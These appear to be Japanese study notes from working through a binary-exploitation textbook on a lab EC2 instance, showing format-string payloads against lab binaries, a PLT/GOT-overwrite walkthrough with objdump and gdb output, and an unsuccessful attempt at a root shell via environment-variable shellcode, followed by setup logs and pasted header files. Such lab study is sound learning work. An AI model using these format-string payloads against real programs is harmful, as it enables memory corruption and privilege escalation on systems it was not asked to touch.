[root@ip-172-31-25-205 0x300]# ./notetaker $(printf "\x0e\x9c\x04\x08\x0c\x9c\x04\x08")%49105x%8\$hn%51183x%9\$hn
[DEBUG] buffer @ 0x9596008: '?
%49105x%8$hn%51183x%9$hn'
[DEBUG] datafile @ 0x9596070: '/var/notes'
[DEBUG] ファイル記述子:3
メモが保存されました
[root@ip-172-31-25-205 0x300]# ./notesearch 49105x
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の34バイトのメモを見つけました。
[DEBUG] uid 0の5バイトのメモを見つけました。
[DEBUG] uid 0の5バイトのメモを見つけました。
[DEBUG] uid 0の35バイトのメモを見つけました。
[DEBUG] uid 0の9バイトのメモを見つけました。
[DEBUG] uid 0の33バイトのメモを見つけました。
?
:
:
Segmentation fault (core dumped)
0x359: グローバルオフセットテーブル(GOT)の上書き
- PLT(Procedure Linkage Table)セクション
たいていのプログラムは共有ライプラリ関数を何度も使用するため、実行効率を向上
させるために、これら関数の開始アドレスを保持するテーブル
PLTセクションは以下のようなジャンプ命令群になっている。
# objdump -d -j .plt ./fmt_vuln
./fmt_vuln: file format elf32-i386
Disassembly of section .plt:
08048344 <__gmon_start__@plt-0x10>:
8048344: ff 35 98 98 04 08 pushl 0x8049898
804834a: ff 25 9c 98 04 08 jmp *0x804989c
8048350: 00 00 add %al,(%eax)
...
08048354 <__gmon_start__@plt>:
8048354: ff 25 a0 98 04 08 jmp *0x80498a0
804835a: 68 00 00 00 00 push $0x0
804835f: e9 e0 ff ff ff jmp 8048344 <_init+0x30>
08048364 <putchar@plt>:
8048364: ff 25 a4 98 04 08 jmp *0x80498a4
804836a: 68 08 00 00 00 push $0x8
804836f: e9 d0 ff ff ff jmp 8048344 <_init+0x30>
08048374 <__libc_start_main@plt>:
8048374: ff 25 a8 98 04 08 jmp *0x80498a8
804837a: 68 10 00 00 00 push $0x10
804837f: e9 c0 ff ff ff jmp 8048344 <_init+0x30>
08048384 <strcpy@plt>:
8048384: ff 25 ac 98 04 08 jmp *0x80498ac
804838a: 68 18 00 00 00 push $0x18
804838f: e9 b0 ff ff ff jmp 8048344 <_init+0x30>
08048394 <printf@plt>:
8048394: ff 25 b0 98 04 08 jmp *0x80498b0
804839a: 68 20 00 00 00 push $0x20
804839f: e9 a0 ff ff ff jmp 8048344 <_init+0x30>
080483a4 <puts@plt>:
80483a4: ff 25 b4 98 04 08 jmp *0x80498b4
80483aa: 68 28 00 00 00 push $0x28
80483af: e9 90 ff ff ff jmp 8048344 <_init+0x30>
080483b4 <exit@plt>:
80483b4: ff 25 b8 98 04 08 jmp *0x80498b8
80483ba: 68 30 00 00 00 push $0x30
80483bf: e9 80 ff ff ff jmp 8048344 <_init+0x30>
PLTセクションはREADONLY
# objdump -h ./fmt_vuln | grep -A1 "\ .plt\ "
11 .plt 00000080 08048344 08048344 00000344 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
exit()の分岐命令は、実際のアドレスに直接分岐しているのではなく、特定アドレスに格納されているアドレスデータを読み込み、そこに分岐するという間接分岐命令になっている。
たとえば、printf()関数の実際のアドレスは0x80498b0ちおうアドレスのメモリ上にポインタとして格納されており、exit()関数は、0x80498b8というアドレスに格納されている。
08048394 <printf@plt>:
8048394: ff 25 b0 98 04 08 jmp *0x80498b0
804839a: 68 20 00 00 00 push $0x20
804839f: e9 a0 ff ff ff jmp 8048344 <_init+0x30>
080483b4 <exit@plt>:
80483b4: ff 25 b8 98 04 08 jmp *0x80498b8
80483ba: 68 30 00 00 00 push $0x30
80483bf: e9 80 ff ff ff jmp 8048344 <_init+0x30>
上記のような分岐先のアドレスを格納されているのがGOT(Global Offset Table)というセクションで個々は書き込み可能
# objdump -R ./fmt_vuln
./fmt_vuln: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049890 R_386_GLOB_DAT __gmon_start__
080498a0 R_386_JUMP_SLOT __gmon_start__
080498a4 R_386_JUMP_SLOT putchar
080498a8 R_386_JUMP_SLOT __libc_start_main
080498ac R_386_JUMP_SLOT strcpy
080498b0 R_386_JUMP_SLOT printf
080498b4 R_386_JUMP_SLOT puts
080498b8 R_386_JUMP_SLOT exit
ということでroot権限でシェルと取ろうとするがうまくいかない。
# export SHELLCODE=$(cat shellcode.bin)
# ./getenvaddr SHELLCODE ./fmt_vuln
SHELLCODE : 0xbf8db7cc
# gdb -q
(gdb) p 0xbf8d - 8
$1 = 49029
(gdb) p 0xb7cc - 0xbf8d
$2 = -1985
(gdb) p 0x1b7cc - 0xbf8d
$3 = 63551
(gdb) quit
# ./fmt_vuln $(printf "\xba\x98\x04\x08\xb8\x98\x04\x08")%49029x%4\$hn%63551x5\$hn
ユーザによって入力されたテキストを出力する正しい方法:
??%49029x%4$hn%63551x5$hn
ユーザによって入力されたテキストを出力する誤った方法:
??
:
:
bfc77a90
:
:
[*] test_val @ 0x080498c0 = -72 0xffffffb8
Segmentation fault (core dumped)
その他
RHEL5はサポート外でデフォルトで使えない。
$ scp -i ~/.ssh/my_main_key.pem -r ./Code root@34.216.22.54:/home/centos/Hacking/
$ vim ~/.ssh/config
$ ssh 32bit
# pwd
/root
# cd ../home/centos/Hacking/
# cd 0x200/
# yum install -y gcc
Loaded plugins: fastestmirror, security
Loading mirror speeds from cached hostfile
YumRepo Error: All mirror URLs are not using ftp, http[s] or file.
Eg. Invalid release/
removing mirrorlist with no valid mirrors: /var/cache/yum/base/mirrorlist.txt
Error: Cannot find a valid baseurl for repo: base
[root@ip-172-31-18-240 0x200]#
Broadcast message from root (Tue Feb 13 13:39:25 2018):
The system is going down for system halt NOW!
Connection to 34.216.22.54 closed by remote host.
Connection to 34.216.22.54 closed.
0x280
```/usr/include/bits/fcntl.h
/* open/fcntl - O_SYNC is only implemented on blocks devices and on files
located on a few file systems. <em>/
#define O_ACCMODE 0003
#define O_RDONLY 00
#define O_WRONLY 01
#define O_RDWR 02
#define O_CREAT 0100 /</em> not fcntl <em>/
#define O_EXCL 0200 /</em> not fcntl <em>/
#define O_NOCTTY 0400 /</em> not fcntl <em>/
#define O_TRUNC 01000 /</em> not fcntl */
#define O_APPEND 02000
#define O_NONBLOCK 04000
#define O_NDELAY O_NONBLOCK
#define O_SYNC 04010000
#define O_FSYNC O_SYNC
#define O_ASYNC 020000
<pre><code><br /><br />```/usr/include/sys/stat.h
#define S_IRUSR __S_IREAD /* Read by owner. */
#define S_IWUSR __S_IWRITE /* Write by owner. */
#define S_IXUSR __S_IEXEC /* Execute by owner. */
/* Read, write, and execute by owner. */
#define S_IRWXU (__S_IREAD|__S_IWRITE|__S_IEXEC)
#if defined __USE_MISC && defined __USE_BSD
# define S_IREAD S_IRUSR
# define S_IWRITE S_IWUSR
# define S_IEXEC S_IXUSR
#endif
#define S_IRGRP (S_IRUSR >> 3) /* Read by group. */
#define S_IWGRP (S_IWUSR >> 3) /* Write by group. */
#define S_IXGRP (S_IXUSR >> 3) /* Execute by group. */
/* Read, write, and execute by group. */
#define S_IRWXG (S_IRWXU >> 3)
#define S_IROTH (S_IRGRP >> 3) /* Read by others. */
#define S_IWOTH (S_IWGRP >> 3) /* Write by others. */
#define S_IXOTH (S_IXGRP >> 3) /* Execute by others. */
/* Read, write, and execute by others. */
#define S_IRWXO (S_IRWXG >> 3)